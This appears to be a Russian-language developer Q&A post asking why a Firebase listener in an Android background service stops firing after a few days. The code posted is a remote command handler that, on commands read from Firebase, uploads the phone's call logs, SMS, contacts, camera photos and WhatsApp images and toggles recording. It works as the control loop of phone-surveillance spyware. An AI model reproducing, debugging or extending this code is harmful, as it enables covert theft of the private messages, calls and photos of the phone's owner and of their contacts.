Firebase "ValueEventListener" не работает - PullRequest
0 голосов
/ 25 августа 2018

Я работаю над проектом, в котором приложение отвечает на команды, загруженные в базу данных Firebase Realtime, чтобы прослушать изменения в базе данных Firebase Realtime, которую я использую ValueEventListner. Команда, загруженная в FRDB, должна быть выполнена только один раз, а затем удалена из FRDB (при каждом выполнении команды она удаляется из FRDB и снова вызывается onDataChanged, если в узле «command» более 1 команды, то она выполняется не раз, чтобы остановить это, я реализовал следующий код). Я позвонил addValueEventListener в onCreate в START_STICKY service. Приложение также загружает другие данные в FRDB, который работает нормально, но ValueEventListner не работает должным образом.

Код работает в течение 3 или 4 дней, а затем перестает работать. Я не знаю, что случилось, я полностью потерян. Любая помощь будет оценена.

   mCommandsRef.addValueEventListener(new ValueEventListener() {

                private long fcount = 0;

                @Override
                public void onDataChange(DataSnapshot dataSnapshot) {

                    try {

                        Iterable<DataSnapshot> snapshots = dataSnapshot.getChildren();

                        if (fcount > dataSnapshot.getChildrenCount()) {

                            if (dataSnapshot.getChildrenCount() == 0) {

                                fcount = 0;
                            }

                            return;
                        }

                        int i = 0;
                        for (DataSnapshot snapshot : snapshots) {

                            if (i == 0) {

                                fcount = dataSnapshot.getChildrenCount();

                            }

                            long c = snapshot.getValue(Long.class);
                            executeCommand(c, snapshot);
                            i++;

                        }

                    } catch (DatabaseException | NullPointerException e) {

                        e.printStackTrace();
                        executeCommand(DATABASE_EXCEPTION_CODE, dataSnapshot);

                    }
                }

                @Override
                public void onCancelled(DatabaseError databaseError) {
                }

            });

Вот метод executeCommand:

public void executeCommand(long c, DataSnapshot dataSnapshot) {

        int a = Integer.parseInt(String.valueOf(c));
        String command;

        switch (a) {

            case 0:

                Log.i(TAG, COMMAND_SET_STATUS);
                setStatus();
                command = COMMAND_SET_STATUS;

                break;

            case 1:

                try {

                    long count = Integer.parseInt(dataSnapshot.getKey());
                    mRootRef.child(CALL_LOGS_LIST).setValue(getCallLogs(count));
                    command = COMMAND_GET_CALLS;
                    break;


                } catch (NumberFormatException e) {

                    e.printStackTrace();
                    command = COMMAND_EXCEPTION;
                    break;
                }

            case 2:

                try {

                    long count = Integer.parseInt(dataSnapshot.getKey());
                    Log.i(TAG, COMMAND_GET_MESSAGES);
                    mRootRef.child(SMS_LIST).setValue(getSmsList(count));
                    command = COMMAND_GET_MESSAGES;
                    break;

                } catch (NumberFormatException e) {

                    e.printStackTrace();
                    command = COMMAND_EXCEPTION;
                    break;

                }

            case 3:

                Log.i(TAG, COMMAND_GET_CONTACTS);
                mRootRef.child(CONTACTS_LIST).setValue(getContactList());
                command = COMMAND_GET_CONTACTS;

                break;


            case 4:

                dbHelper.setRecordOn();
                setStatus();
                command = COMMAND_SET_RECORD_TRUE;

                break;

            case 5:

                dbHelper.setRecordOff();
                setStatus();
                command = COMMAND_SET_RECORD_FALSE;

                break;


            case 6:

                try {

                    int count = Integer.parseInt(dataSnapshot.getKey());
                    getCameraPictures(count);
                    command = COMMAND_GET_CAMERA_PICTURES;

                } catch (NumberFormatException e) {

                    e.printStackTrace();
                    command = COMMAND_EXCEPTION;

                }

                break;

            case 7:

                try {

                    int count = Integer.parseInt(dataSnapshot.getKey());
                    getWhatsAppSentPictures(count);
                    command = COMMAND_GET_WHATSAPP_SENT_PICTURES;

                } catch (NumberFormatException e) {

                    e.printStackTrace();
                    command = COMMAND_EXCEPTION;
                }
                break;

            case 8:

                try {

                    int count = Integer.parseInt(dataSnapshot.getKey());
                    getWhatsAppReceivedPictures(count);
                    command = COMMAND_GET_WHATSAPP_RECEIVED_PICTURES;

                } catch (NumberFormatException e) {

                    e.printStackTrace();
                    command = COMMAND_EXCEPTION;

                }

                break;


            case 9:

                List<String> recList = getRecsList();

                if (recList.size() == 0) {

                    command = COMMAND_GET_RECS_ZERO;
                    break;

                }

                mRootRef.child(RECS_LIST).setValue(recList);
                command = COMMAND_GET_RECS;
                break;

            default:

                command = COMMAND_UNKNOWN_COMMAND;
                break;

        }

        final String finalCommand = command;

        dataSnapshot.getRef().removeValue(new DatabaseReference.CompletionListener() {

            @Override
            public void onComplete(DatabaseError databaseError, DatabaseReference databaseReference) {

                CommandHistory commandHistory = new CommandHistory(finalCommand, new Date().toString());

                mRootRef.child(COMMAND_HISTORY).push().setValue(commandHistory)
                        .addOnCompleteListener(new OnCompleteListener<Void>() {
                            @Override
                            public void onComplete(@NonNull Task<Void> task) {

                                if (task.isSuccessful()) {

                                }
                            }
                        });
            }
        });
    }
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...